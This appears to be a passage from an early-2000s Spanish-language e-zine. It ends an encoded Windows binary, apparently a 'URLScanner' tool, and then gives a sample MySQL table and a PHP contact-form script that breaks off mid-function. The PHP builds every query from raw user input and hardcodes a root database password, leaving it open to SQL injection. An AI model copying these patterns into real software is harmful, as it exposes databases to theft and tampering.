M``````````"B=0$`L'4!`,!U`0#.=0$`V'4!`.9U`0#V=0$`!G8!`!AV`0`J
M=@$`.G8!`$YV`0!:=@$`:G8!``0"`(!^=@$`C'8!`)IV`0"J=@$`P'8!`-AV
M`0#H=@$`^G8!`!!W`0`B=P$`,G<!`$!W`0!3`@"`4'<!`&)W`0!V=P$`5@(`
M@(AW`0"8=P$`K'<!`'<"`(`-`@"`MG<!`,YW`0#>=P$`['<!`/YW`0`2>`$`
M+G@!`#QX`0!,>`$`7G@!`&QX`0"">`$`D'@!`)YX`0"R>`$`6`(`@,AX`0#2
M>`$`[G@!`/QX`0`2>0$`)GD!`#AY`0!&>0$`6'D!`&QY`0!^>0$`C'D!`!<"
M`(">>0$`K'D!`+9Y`0#,>0$`W'D!`.IY`0"(`@"`]GD!``1Z`0`6>@$`*'H!
M`#AZ`0!,>@$`7GH!`*T"`(!D``"`;'H!`'QZ`0"*>@$`FGH!`*YZ`0"\>@$`
MSGH!`-QZ`0#H>@$`_GH!``A[`0`8>P$`*'L!`#)[`0`\>P$`3GL!`%A[`0!H
M>P$`>'L!``````!-4U9"5DTV,"Y$3$P`````7U]V8F%687)3=6(```!?7W9B
M859A<E1S=$=T````7U]V8F%3=')),@````!?0TEC;W,`````7V%D:E]F<'1A
M;@````!?7W9B859A<DUO=F4`````7U]V8F%&<F5E5F%R`````%]?=F)A4W1R
M5F%R36]V90```%]?=F)A3&%T94ED0V%L;````%]?=F)A5F%R261I=@````!?
M7W9B849R965687),:7-T`````%]?=F)A16YD`````%]A9&I?9F1I=E]M-C0`
M``!?7W9B849R965/8FI,:7-T`````%]A9&I?9G!R96TQ````7U]V8F%3=')#
M870```!?7W9B859A<D-M<$YE````7U]V8F%39713>7-T96U%<G)O<@```%]?
M=F)A2')E<W5L=$-H96-K3V)J`````%]A9&I?9F1I=E]M,S(```!?7W9B84QA
M=&5-96U3=`````!?7W9B849O<D5A8VA#;VQL3V)J````7U]V8F%687)&;W))
M;FET````7U]V8F%%>&ET4')O8P```%]?=F)A3V)J4V5T````7U]V8F%/;D5R
M<F]R`````%]A9&I?9F1I=E]M,39I`````%]?=F)A3V)J4V5T061D<F5F````
M7V%D:E]F9&EV<E]M,39I````7U]V8F%687)4<W1,=````%]?=F)A0F]O;%9A
M<DYU;&P`````7T-)<VEN`````%]?=F)A3F5X=$5A8VA#;VQL3V)J`````%]?
M=F)A5F%R0VUP1W0```!?7W9B84-H:W-T:P```%]?=F)A1FEL94-L;W-E````
M`$5614Y47U-)3DM?061D4F5F````7U]V8F%'96YE<F%T94)O=6YD<T5R<F]R
M`````%]?=F)A4W1R0VUP````7U]V8F%687)4<W1%<0```$1L;$9U;F-T:6]N
M0V%L;````%]?=F)A5F%R3W(`````7U]V8F%2961I;5!R97-E<G9E`````%]A
M9&I?9G!A=&%N````7U]V8F%2-%9A<@````!?7W9B84QA=&5)9$-A;&Q,9```
M`$5614Y47U-)3DM?4F5L96%S90````!?0TES<7)T````159%3E1?4TE.2U]1
M=65R>4EN=&5R9F%C90```%]?=F)A5F%R375L````7U]V8F%%>&-E<'1(86YD
M;&5R`````%]?=F)A4W1R5&]5;FEC;V1E````7U]V8F%0<FEN=$9I;&4`````
M7V%D:E]F<')E;0````!?861J7V9D:79R7VTV-`````!?7W9B849017AC97!T
M:6]N`````%]?=F)A4W1R5F%R5F%L`````%]?=F)A5F%R0V%T````7U]V8F%#
M:&5C:U1Y<&4`````7U]V8F%),E9A<@````!?0TEL;V<`````7U]V8F%%<G)O
M<D]V97)F;&]W`````%]?=F)A1FEL94]P96X```!?7W9B85(X4W1R`````%]?
M=F)A3F5W,@```%]?=F)A26Y3='(`````7V%D:E]F9&EV7VTS,FD`````7V%D
M:E]F9&EV<E]M,S)I````7U]V8F%3=')#;W!Y`````%]?=F)A1G)E95-T<DQI
M<W0`````7V%D:E]F9&EV<E]M,S(`````7V%D:E]F9&EV7W(```!?7W9B859A
M<E1S=$YE````7U]V8F%)-%9A<@````!?7W9B859A<D-M<$5Q````7U]V8F%,
M871E365M0V%L;`````!?7W9B859A<D%D9````%]?=F)A4W1R5&]!;G-I````
M`%]?=F)A5F%R1'5P````7U]V8F%&<$DT````7U]V8F%,871E365M0V%L;$QD
M`````%]#26%T86X```!?7W9B85-T<DUO=F4`````7U]V8F%#87-T3V)J````
M`%]A;&QM=6P```!?0TET86X`````7U]V8F%687)&;W).97AT````7T-)97AP
M`````%]?=F)A231%<G)687(```!?7W9B849R9653='(`````7U]V8F%&<F5E
M3V)J````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````````````````````#IZ4XZ$P```````P`#````
M6```@`X```!```"`$````"@``(``````Z>E..A,```````$``0```(```(``
M````Z>E..A,```````$``0```)@``(``````Z>E..A,```````,`,74``.``
M`(`R=0``R```@#-U``"P``"``````.GI3CH3```````!``D$``#X````````
M`.GI3CH3```````!```````(`0```````.GI3CH3```````!```````8`0``
M`````.GI3CH3```````!```````H`0```````.GI3CH3```````!```````X
M`0``4*$!`!0"``"P!````````&2C`0`P````L`0```````"4HP$`*`$``+`$
M````````O*0!`.@"``"P!````````*2G`0`P`0``L`0`````````````````
M`!0"-````%8`4P!?`%8`10!2`%,`20!/`$X`7P!)`$X`1@!/``````"]!._^
M```!`````0`````````!``````````````````0````!````````````````
M````1```````5@!A`'(`1@!I`&P`90!)`&X`9@!O```````D``0```!4`'(`
M80!N`',`;`!A`'0`:0!O`&X```````D$L`1T`0```0!3`'0`<@!I`&X`9P!&
M`&D`;`!E`$D`;@!F`&\```!0`0```0`P`#0`,``Y`#``-`!"`#`````D``0`
M`0!#`&\`;0!P`&$`;@!Y`$X`80!M`&4``````"X````X`!8``0!0`'(`;P!D
M`'4`8P!T`$X`80!M`&4``````%4`4@!,`%,`8P!A`&X`;@!E`'(``````"P`
M"@`!`$8`:0!L`&4`5@!E`'(`<P!I`&\`;@``````,0`N`#``,```````,``*
M``$`4`!R`&\`9`!U`&,`=`!6`&4`<@!S`&D`;P!N````,0`N`#``,```````
M.``6``$`20!N`'0`90!R`&X`80!L`$X`80!M`&4```!5`%(`3`!3`&,`80!N
M`&X`90!R``````!(`!X``0!/`'(`:0!G`&D`;@!A`&P`1@!I`&P`90!N`&$`
M;0!E````50!2`$P`4P!C`&$`;@!N`&4`<@`N`&4`>`!E``````````$``P`@
M(`(``0`!`#`!```Q=2`@$``!``0`Z`(``#)U$!`0``$`!``H`0``,W4H````
M$````"`````!``0``````,``````````````````````````````````@```
M@````("``(````"``(``@(```("`@`#`P,````#_``#_````__\`_P```/\`
M_P#__P``____```````````````````````````````````````(\'<````(
M___P=W``#_____!P```/____\`````_____P````#___@``````/@``.X```
M```.[N``````#N``````````````````````````````````````````````
M````__\``/__``#_CP``^`,``,`!``#`!P``P`\``,`/``#`#P``P`\``,`/
M``#`?P``Q_\``/__``#__P``__\``"@````@````0`````$`!```````@`(`
M``````````````````````````````"```"`````@(``@````(``@`"`@```
M@("``,#`P````/\``/\```#__P#_````_P#_`/__``#___\`````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````C_\'<`````````````"/____!W=P````````"/_______P=W=W``
M````__________\'=W```````/__________!W````````#__________P``
M````````__________\``````````/__________``````````#_________
M_P``````````__________\``````````/__________``````````#_____
M_____P``````````________B(@``````````/____^(B`````````````#_
M_XB(``#N[@``````````B(@``.[N````````````````[NX`````````````
M``#N[@``````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````#_____________________________P?___`!__X``'_@```?X
M```?^```?_@``?_X``'_^``!__@``?_X``'_^``!__@``?_X``'_^``!__@`
M`?_X``'_^``___@#___X/___^___________________________________
M_R@````@````0`````$``0````````$`````````````````````````````
M____`/_____________________________!___\/'__P_P?^#_\!_O__!_[
M__Q_^__]__O__?_[__W_^__]__O__?_[__W_^__]__O__?_[_\'_^_P]__O#
MP?_X/#__^\/___@____[________________________________________
M_________________________\'___P`?__``!_X```'^```'_@``'_X``'_
M^``!__@``?_X``'_^``!__@``?_X``'_^``!__@``?_X``'_^``!__@`/__X
M`___^#____O___________________________________\`````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
:````````````````````````````````````
`
end
[--]


########################
# 10.- database.mysql  #
########################

[++] php-mysql/database.mysql
#
# Database ejemplo - By: Mr. kl0nk Manson <kl0nk@uole.com.ve>
# This Under Licence GPL/GNU
#

CREATE TABLE datos (
  id int(11) NOT NULL auto_increment,
  nombre char(50) default NULL,
  direccion char(50) default NULL,
  telefono char(20) default NULL,
  email char(30) default NULL,
  KEY id (id)
);


INSERT INTO datos VALUES (1,'Juan Perez','Maracaibo - Venezuela','0261-6565951','juan@perez.com');
INSERT INTO datos VALUES (2,'Dolores de Cabeza','Caracas - Venezuela','0212-5454789','dolores@cabeza.com');
INSERT INTO datos VALUES (3,'Pedro Linares','Merida - Venezuela','0274-352563','plinares@hotshit.com');
INSERT INTO datos VALUES (4,'Maria Rannda','Amazonas - Venezuela','0282-8754525','rannsa@jajoo.com');
INSERT INTO datos VALUES (5,'Elena Moreno','Valencia - Venezuela','0241-625332','elena@valencia.com');
INSERT INTO datos VALUES (6,'Ivan Tamayo','Tachira - Venezuela','0276-2565865','rtfm@latincluaca.com');
INSERT INTO datos VALUES (7,'Pedro Fernandez','Merida - Venezuela','0274-215458','theworld@hahah.com');
INSERT INTO datos VALUES (8,'Luis Da Silva','Merida - Venezuela','0274-2656565','luis@dasilva.com');
INSERT INTO datos VALUES (9,'Armando Merchan','Bogota - Colombia','0000-000000','amerchan@vivalapepa.com');

[--]


#########################
#  11.- formulario.php  #
#########################

[++] php-mysql/formulario.php
<?PHP
/************************************************************************/
/* FORMULARIO v1.0                                                      */
/* ================                                                     */
/*                                                                      */
/* Copyright (c) 2001 by Mr. kl0nk Manson (kl0nk@uole.com.ve)           */
/* http://pleyades.sourceforge.net                                      */
/*                                                                      */
/* This program is free software. You can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software Foundation; either version 2 of the License.       */
/************************************************************************/
?>

<HTML>
<BODY bgcolor="FFFFFF" color="#000000">

<?PHP

function Conectar() {

    ###########################
    # Definicion de Variables #
    ###########################

    $hostname = "localhost";  # El Hostname donde esta el Servidor de la DB
    $usuario  = "root";       # El Usuario/Due~o de la DB
    $password = "hahaha";     # El Password de la DB
    $database = "ejemplo";    # El Nombre de la DB

    mysql_connect("$hostname", "$usuario", "$password");
    @mysql_select_db("$database") or die ("No se puede seleccionar la DataBase");
}


function Opciones() {
    echo "<BR><CENTER><a href=index.php>Index</a> - <a href=index.php?op=Agregar>Agregar</a> - <a href=index.php?op=Borrar>Borrar</a> - <a href=index.php?op=Modificar>Modificar</a></CENTER><BR><BR>\n";
}


function ContadorBD() {
    Conectar();
    $resultado = mysql_query("SELECT * FROM datos WHERE id");
    $total = mysql_num_rows($resultado);
    echo "<BR><CENTER><FONT size=\"3\">Total de Datos en la BD: $total</FONT></CENTER><BR>\n"; 
}


function Footer() {
    echo "<BR><BR><CENTER>Hecho Por: <a href=\"mailto:kl0nk@uole.com.ve\">Mr. kl0nk Manson</a>.</CENTER>\n";
}

function Buscador() {
    Opciones();
    echo "<CENTER>\n";
    echo "<FORM method=\"post\" name=\"op\" action=\"index.php?op=Busqueda\">
\n";
    echo "Buscar <INPUT type=\"text\" name=\"buscar\">\n";
    echo " en  <SELECT name=\"opc\">\n";
    echo "<OPTION name=\"opc\">Nombre</OPTION>\n";
    echo "<OPTION name=\"opc\">Direccion</OPTION>\n";
    echo "<OPTION name=\"opc\">Telefono</OPTION>\n";
    echo "<OPTION name=\"opc\">Email</OPTION>\n";
    echo "<OPTION name=\"opc\">Id</OPTION>\n";
    echo "</SELECT>\n";
    echo "<INPUT type=\"submit\" value=\"Buscar\">
\n";
    echo"<br>
    Intervalos: 
    <input type=\"radio\" name=\"int\" value=\"3\"> 3 Registros
    <input type=\"radio\" name=\"int\" value=\"5\"> 5 Registros
    <input type=\"radio\" name=\"int\" value=\"10\"> 10 Registros
    <input type=\"radio\" name=\"int\" value=\"15\"> 15 Registros";
    echo "</FORM></CENTER><BR>\n";
}


function Busqueda($buscar, $opc, $int, $ini, $fin) {
    if (!isset($buscar)){ 
	echo "Debe especificar una cadena a buscar"; 
	exit; 
    } 
    if (!isset($ini)) $ini=0;
    if (!isset($int)) $int=5;
    if (!isset($fin)) $fin=$ini+$int;
 
    Buscador(); ContadorBD(); Conectar();
    $resultado = mysql_query("SELECT * FROM datos WHERE $opc LIKE '%$buscar%' ORDER BY id limit $ini, $fin"); 
    $mkm = mysql_query("SELECT * FROM datos WHERE $opc LIKE '%$buscar%' ORDER BY id"); 
    $resultado2 = mysql_query("SELECT * FROM datos WHERE id");
    $total = mysql_num_rows($resultado2);
    while(mysql_fetch_array($mkm)){
	$totalx++;
    }
    if ($lista = mysql_fetch_array($resultado))
    {
	echo "<TABLE width=\"100%\" border=\"0\" cellspacing=\"1\" cellpadding=\"0\" bgcolor=\"#000000\"><TR><TD>\n";
	echo "<TABLE width=\"100%\" border=\"0\" cellspacing=\"1\" cellpadding=\"8\" bgcolor=\"#FFFFFF\">\n";

	echo "<TR>\n"; 
	echo "<TD>ID</TD>\n"; 
	echo "<TD>Nombre</TD>\n"; 
	echo "<TD>Direccion</TD>\n"; 
	echo "<TD>Telefono</TD>\n"; 
	echo "<TD>E-Mail</TD>\n"; 
	echo "</TR>\n"; 
	do
	{     
	    echo "<TR>\n"; 
	    echo "<TD>".$lista["id"]."</TD>\n"; 
            echo "<TD>".$lista["nombre"]."</TD>\n"; 
            echo "<TD>".$lista["direccion"]."</TD>\n"; 
            echo "<TD>".$lista["telefono"]."</TD>\n"; 
            echo "<TD><a href='mailto:".$lista["email"]."'>".$lista["email"]."</a></TD>\n"; 
            echo "</TR>\n"; 
	    $cont++;
	}
	while ($lista = mysql_fetch_array($resultado));
	echo "</TABLE></TD></TR></TABLE>\n"; 
  	$inix=$ini+5;
	echo "<BR>Total de Datos Encontrados: <B>$totalx</B><BR>";

	echo "<TABLE align=\"center\" border=\"0\" cellspacing=\"1\" cellpadding=\"0\" bgcolor=\"#FFFFFF\">\n";
	echo "<TR>\n"; 

	$ant = $ini-$int;
	if ($ant >= 0){ 
	    echo "<TD><BR><a href=\"index.php?op=Busqueda&buscar=$buscar&opc=$opc&ini=$ant&fin=$fin&int=$int\">Anteriores $int</a>  </TD>\n";
	}            

	$inin=$ini+$int;
	if (($totalx!=$int) && ($cont>=$int) && ($total!=$inin) && ($inin!=$totalx)){ 
	    echo "<TD><BR>  <a href=\"index.php?op=Busqueda&buscar=$buscar&opc=$opc&ini=$inin&fin=$fin&int=$int\">Proximos $int</a></TD>\n";
	}      
	echo "</TR>\n"; 
	echo "</TD></TR></TABLE>\n";
    } 
    else
    {
	echo "<CENTER><FONT size=\"8\">No se ha encontrado ningun registro</FONT></CENTER>\n"; 
    } 
}

function Agregar($enviar, $nombre, $direccion, $telefono, $email) {

    if ($enviar) {
	Conectar();
	$bandera="1";
	if ($nombre=="") {
            echo "<BR><BR><CENTER><FONT size=\"5\">Error, Usted NO introdujo datos en el campo <b>Nombre</b></FONT>\n";
	    echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
	    $bandera="0";
	}
	if ($direccion=="") {
            echo "<BR><BR><CENTER><FONT size=\"5\">Error, Usted NO introdujo datos en el campo <b>Direccion</b></FONT>\n";
	    echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
	    $bandera=0;
	}
	if ($telefono=="") {
            echo "<BR><BR><CENTER><FONT size=\"5\">Error, Usted NO introdujo datos en el campo <b>Telefono</b></FONT>\n";
	    echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
	    $bandera="0";
	}
	if ($email=="") {
            echo "<BR><BR><CENTER><FONT size=\"5\">Error, Usted NO introdujo datos en el campo <b>Email</b></FONT>\n";
	    echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
	    $bandera="0";
	}
	if ($bandera=="1")
	{
	    mysql_query("INSERT INTO datos (nombre, direccion, telefono, email)".
"VALUES ('$nombre', '$direccion', '$telefono', '$email')");
	    echo "<CENTER>Hemos recibido sus datos. <BR> [ <a href=\"index.php\">Regresar</a> ]</CENTER>\n";
	}
    } 
    else
	{
	Buscador();
	echo "<FORM method=\"post\" action=\"index.php?op=Agregar\">
\n";
	echo "<TABLE>\n";
	echo "   <TR>\n";
	echo "     <TD>Nombre    :</TD>\n";
	echo "     <TD><INPUT type=\"text\" name=\"nombre\"></TD>\n";
	echo "   </TR>\n";
	echo "   <TR>\n";
        echo "     <TD>Direccion  :</TD>\n";
	echo "     <TD><INPUT type=\"text\" name=\"direccion\"></TD>\n";
	echo "   </TR>\n";
	echo "   <TR>\n";
	echo "     <TD>Telefono :</TD>\n";
	echo "     <TD><INPUT type=\"text\" name=\"telefono\"></TD>\n";
	echo "   </TR>\n";
	echo "   <TR>\n";
	echo "     <TD>E-Mail    :</TD>\n";
	echo "     <TD><INPUT type=\"text\" name=\"email\"></TD>\n";
	echo "   </TR>\n";
	echo "</TABLE>\n";
	echo "<INPUT type=\"submit\" name=\"enviar\" value=\"Agregar informacion\">
\n";
	echo "</FORM>\n";
    }

}


function Modificado($modificar, $id, $nombre, $direccion, $telefono, $email) {

    if (isset($modificar))
    { 
  
	$bandera="1";
	if ($id=="") {
            echo "<BR><BR><CENTER><FONT size=\"5\">Error, Usted NO introdujo datos en el campo <b>ID</b></FONT>\n";
	    echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
	    $bandera="0";
	}
	if ($nombre=="") {
            echo "<BR><BR><CENTER><FONT size=\"5\">Error, Usted NO introdujo datos en el campo <b>Nombre</b></FONT>\n";
	    echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
	    $bandera="0";
	}
	if ($direccion=="") {
            echo "<BR><BR><CENTER><FONT size=\"5\">Error, Usted NO introdujo datos en el campo <b>Direccion</b></FONT>\n";
	    echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
	    $bandera="0";
	}
	if ($telefono=="") {
            echo "<BR><BR><CENTER><FONT size=\"5\">Error, Usted NO introdujo datos en el campo <b>Telefono</b></FONT>\n";
	    echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
	    $bandera="0";
	}
	if ($email=="") {
            echo "<BR><BR><CENTER><FONT size=\"5\">Error, Usted NO introdujo datos en el campo <b>Email</b></FONT>\n";
	    echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
	    $bandera="0";
	}
	if ($bandera=="1")
	{
    	    Conectar();
	    mysql_query("UPDATE datos SET nombre='$nombre', direccion='$direccion',".
"telefono='$telefono', email='$email' WHERE id=$id");
    	    Buscador();
    	    echo "<CENTER><FONT size=\"8\">Sus datos han sido modificado satifactoriamente.</FONT><BR><BR>\n";
    	    echo "[ <a href=\"index.php\">Regresar</a> ]</CENTER>";
	}
    } 
    else 
    {
	echo "<CENTER><FONT size=\"5\">Debe especificar un 'id'</FONT></CENTER>.\n";
    }

}

function Modificar(){

    Buscador();
    echo "<CENTER><BR><BR>Seccion Modificar<BR><BR>\n";
    echo "<FORM method=\"post\" action=\"index.php?op=Modifica\">
\n";
    echo "ID a Modificar   <INPUT type=\"text\" name=\"id\">\n";
    echo "<INPUT type=\"submit\" name=\"modifica\" value=\"Editar\">
\n";
    echo "</FORM>
</CENTER>\n";

}

function Modifica($modifica, $id){
    Buscador();
    $bandera="1";
    if (!isset($modifica))
    {
        echo "<BR><BR><CENTER><FONT size=\"5\">Error, Usted NO introdujo datos</b></FONT>\n";
        echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
        $bandera="0";
    }
    if ($bandera=="1")
    { 
      $band="1";
      if ($id=="")
      {
        echo "<BR><BR><CENTER><FONT size=\"5\">Error, Usted NO introdujo un ID</b></FONT>\n";
        echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
        $band="0";
      }
      if($band=="1")
      {
    	Conectar();
        $resultado = mysql_query("SELECT * FROM datos WHERE id=$id");
        if ($lista = mysql_fetch_array($resultado))
        {
    	    echo "<FORM method=\"post\" action=\"index.php?op=Modificado\">
\n";
    	    echo "<TABLE>\n";
    	    echo "	<TR>\n";
    	    echo "	  <TD>ID        :</TD>\n";
    	    echo "     <TD><INPUT type=\"text\" name=\"id\" value=\"".$lista["id"]."\"></TD>\n";
    	    echo "	</TR>\n";
    	    echo "	<TR>\n";
    	    echo "	  <TD>Nombre    :</TD>\n";
    	    echo "     <TD><INPUT type=\"text\" name=\"nombre\" value=\"".$lista["nombre"]."\"></TD>\n";
    	    echo "   </TR>\n";
    	    echo "   <TR>\n";
    	    echo "	  <TD>Direccion  :</TD>\n";
    	    echo "	  <TD><INPUT type=\"text\" name=\"direccion\" value=\"".$lista["direccion"]."\"></TD>\n";
    	    echo "	</TR>\n";
    	    echo "	<TR>\n";
    	    echo "	  <TD>Telefono :</TD>\n";
    	    echo "	  <TD><INPUT type=\"text\" name=\"telefono\" value=\"".$lista["telefono"]."\"></TD>\n";
    	    echo "	</TR>\n";
    	    echo "	<TR>\n";
    	    echo "	  <TD>E-Mail    :</TD>\n";
    	    echo "	  <TD><INPUT type=\"text\" name=\"email\" value=\"".$lista["email"]."\"></TD>\n";
    	    echo "	</TR>\n";
    	    echo "</TABLE>\n";
    	    echo "<INPUT type=\"submit\" name=\"modificar\" value=\"Modificar\"> <a href=\"index.php?op=Borrado&borrar=&id=$id\">Borrar</a>\n
";
    	    echo "</FORM>\n
";
    	
} 
	 else 
	 {
           echo "<CENTER><FONT size=\"5\">Error, Usted introdujo un ID no Valido</FONT>\n";
	   echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
	 }
      }
   }  
}


function Borrar() {

    Buscador();
    echo "<CENTER>";
    echo "<BR><BR>Borrar ID<BR><BR>";
    echo "<FORM method=\"post\" action=\"index.php?op=PrevioBorrar\">
";
    echo "ID a Borrar   <INPUT type=\"text\" name=\"id\">";
    echo "<INPUT type=\"submit\" name=\"borrar\" value=\"Borrar\">
";
    echo "</FORM>
";
    echo "</CENTER>";


}


function Borrado($borrar, $id) {

    if (!isset($borrar)){
	echo "Debe especificar un 'id'.\n";
    } else {
       Conectar();
       mysql_query("delete from datos WHERE id=$id");
       Buscador();
       echo "<CENTER><FONT size=\"8\">Sus datos han sido Borrados.</FONT><BR><BR>\n";
       echo "[ <a href=\"index.php\">Regresar</a> ]</CENTER>\n";
    }
}

	
function PrevioBorrar($borrar, $id) {

    Buscador();
    if (isset($borrar))
    { 
     Conectar();
     $bandera="1";
     if ($id=="") {
        echo "<BR><BR><CENTER><FONT size=\"5\">Error, Usted NO introdujo datos en el campo <b>ID</b></FONT>\n";
	echo "<BR><BR><FONT size=\"4\">[ <a href=\"javascript:history.go(-1)\">Regresar</a> ]</FONT></CENTER>\n";
	$bandera="0";
     }
     if ($bandera=="1")
     {
        $resultado = mysql_query("SELECT * FROM datos WHERE id=$id");
        if ($lista = mysql_fetch_array($resultado))
        {
    	    echo "<FORM method=\"post\" action=\"index.php?op=Borrado\">
\n";
    	    echo "<TABLE>\n";
	    echo "	<TR>\n";
    	    echo "	  <TD>ID        :</TD>\n";
    	    echo "     <TD>".$lista["id"]."</TD>\n";
    	    echo "	</TR>\n";
    	    echo "	<TR>\n";
    	    echo "	  <TD>Nombre    :</TD>\n";
    	    echo "     <TD>".$lista["nombre"]."</TD>\n";
    	    echo "   </TR>\n";
    	    echo "   <TR>\n";
    	    echo "	  <TD>Direccion  :</TD>\n";
    	    echo "	  <TD>".$lista["direccion"]."</TD>\n";
    	    echo "	</TR>\n";
    	    echo "	<TR>\n";
    	    echo "	  <TD>Telefono :</TD>\n";
    	    echo "	  <TD>".$lista["telefono"]."></TD>\n";
    	    echo "	</TR>\n";
    	    echo "	<TR>\n";
